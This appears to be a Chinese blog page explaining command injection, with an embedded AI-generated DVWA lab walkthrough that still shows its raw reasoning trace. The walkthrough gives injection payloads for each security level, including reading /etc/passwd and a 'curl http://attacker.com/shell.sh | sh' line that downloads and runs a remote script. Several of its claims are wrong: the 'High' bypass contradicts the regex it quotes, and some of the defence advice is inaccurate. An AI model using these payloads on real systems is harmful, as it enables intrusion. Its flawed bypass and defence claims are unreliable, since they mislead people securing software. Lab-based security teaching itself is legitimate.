Command Injection(命令注入)

本文深入解析了命令注入攻击,一种常见的网络安全威胁。介绍了其工作原理,包括如何利用未过滤的输入执行恶意命令,以及判断和利用的方法。文章还探讨了进阶技巧如延迟注入,并提供了有效的防御策略,如白名单和格式固定检测。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

什么是命令注入

恶意用户通过构造请求,对于一些执行系统命令的功能点进行构造注入,本质上是数据与代码未分离。对于特殊的需求没有对请求进行过滤,导致绕过从而导致注入。

利用方法

判断步骤

  1. 判断是否执行系统命令
  2. 判断函数或函数的参数是否可控判断函数或函数的参数是否可控
  3. 判断是否拼接注入命令判断是否拼接注入命令

使用

  1. &&
  2. &&
  3. |
  4. ||

进阶

  • 延迟注入:
  • 远程请求
  • Dns查询

防御

  • 白名单,格式固定检测
<think>嗯,用户想了解DVWA靶场中的Command Injection漏洞测试和利用方法,需要详细步骤和示例。首先,我得回忆一下DVWA的基本设置,尤其是命令注入的模块。用户可能已经知道DVWA是什么,但可能需要先登录到Low安全级别开始测试。 首先,命令注入通常发生在用户输入被拼接到系统命令中执行的情况下。在DVWA的Command Injection模块,用户输入一个IP地址,然后系统执行ping命令。这时候,如果输入没有经过严格的过滤,攻击者可以注入额外的命令。 比如,在Low安全级别下,后端代码可能直接拼接用户输入的参数到ping命令中,而没有做任何过滤。这时候用户输入类似`127.0.0.1; ls`,分号后面的命令就会被执行。这时候需要给出具体的示例,比如如何利用不同的符号如`&&`、`|`或者`&`来注入命令。 接下来,不同安全级别的防护措施不同。比如Medium级别可能过滤了一些符号,但可能没有完全覆盖,这时候需要测试哪些符号被转义或过滤了。比如,可能过滤了`;`和`&&`,但`|`可能仍然可用,或者需要尝试其他绕过方法,比如用`%0a`(换行符)来分隔命令。 High级别的防护可能更严格,可能只允许特定的输入格式,比如限制输入为IP地址格式。这时候可能需要利用IP地址的格式特性,比如使用`127.0.0.1 || ls`,如果代码检查IP格式是否合法,但后面的命令仍然会被执行的话。或者,使用反引号执行命令,如`$(ls)`。 Impossible级别可能使用了白名单或其他彻底防护的方法,这时候基本无法注入,需要说明其防护机制,比如使用escapeshellarg函数处理参数。 在漏洞利用示例中,要分级别展示不同的注入方式,并说明如何通过Burp Suite这样的工具拦截请求,修改参数,或者直接在输入框中输入注入命令。还要注意不同操作系统下的命令差异,比如Windows和Linux的符号可能不同,但DVWA通常运行在Linux环境下。 另外,生成的相关问题需要考虑用户可能进一步想知道如何防御命令注入,或者DVWA其他漏洞模块的测试方法,比如SQL注入或XSS。还要注意提醒用户只在合法授权的环境下进行测试,避免法律问题。 现在需要确保回答结构清晰,步骤正确,示例准确,并且引用格式正确。要检查是否有遗漏的安全级别或常见绕过方法,比如使用反斜杠转义或者编码绕过过滤。同时,要确保给出的代码示例正确,比如PHP中可能存在漏洞的代码部分,以及防护措施如参数化执行或输入验证。</think># DVWA Command Injection漏洞测试与利用方法 ## 一、漏洞原理 命令注入漏洞产生于未正确过滤用户输入的情况下,攻击者通过拼接系统命令实现任意命令执行。DVWA的Command Injection模块模拟了`ping`功能,其基础命令为: $$ ping -c 4 {user_input} $$ 当用户输入包含`;`、`&&`、`|`等命令分隔符时,可注入额外命令[^1]。 ## 二、安全测试步骤(分安全等级) ### 1. Low安全级别 **测试方法**: ```http POST /vulnerabilities/exec/ HTTP/1.1 Host: localhost ... ip=127.0.0.1;whoami&Submit=Submit ``` **注入示例**: - `127.0.0.1; ls /` 列出根目录 - `127.0.0.1 && cat /etc/passwd` 查看系统账户 ### 2. Medium安全级别 **过滤机制**: ```php $target = str_replace(';', '', $target); // 移除分号 ``` **绕过方法**: ```http ip=127.0.0.1%0aid && ping -c 4 127.0.0.1 ``` 使用换行符`%0a`或未过滤的`&`符号 ### 3. High安全级别 **防护代码**: ```php if( preg_match( '/^[0-9.]+$/i', $target ) ) // 限制数字和点号 ``` **绕过示例**: ```bash 127.0.0.1 || ls -al ``` 利用逻辑运算符绕过正则检测 ### 4. Impossible级别 **防护措施**: ```php $target = escapeshellarg($target); // 参数化处理 $cmd = shell_exec('ping -c 4 '.$target); ``` 此时无法进行命令注入 ## 三、漏洞利用演示 **Burp Suite拦截修改**: ```http POST /vulnerabilities/exec/ HTTP/1.1 ... ip=127.0.0.1;curl+http://attacker.com/shell.sh+|+sh ``` 该payload将下载并执行远程脚本 ## 四、防御方案 1. 使用`exec($command, $output)`替代直接命令拼接 2. 实施白名单验证: ```php if (!preg_match('/^[0-9.]+$/', $ip)) { die("Invalid IP format"); } ``` 3. 参数化处理: ```php $clean_ip = escapeshellarg($_POST['ip']); ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值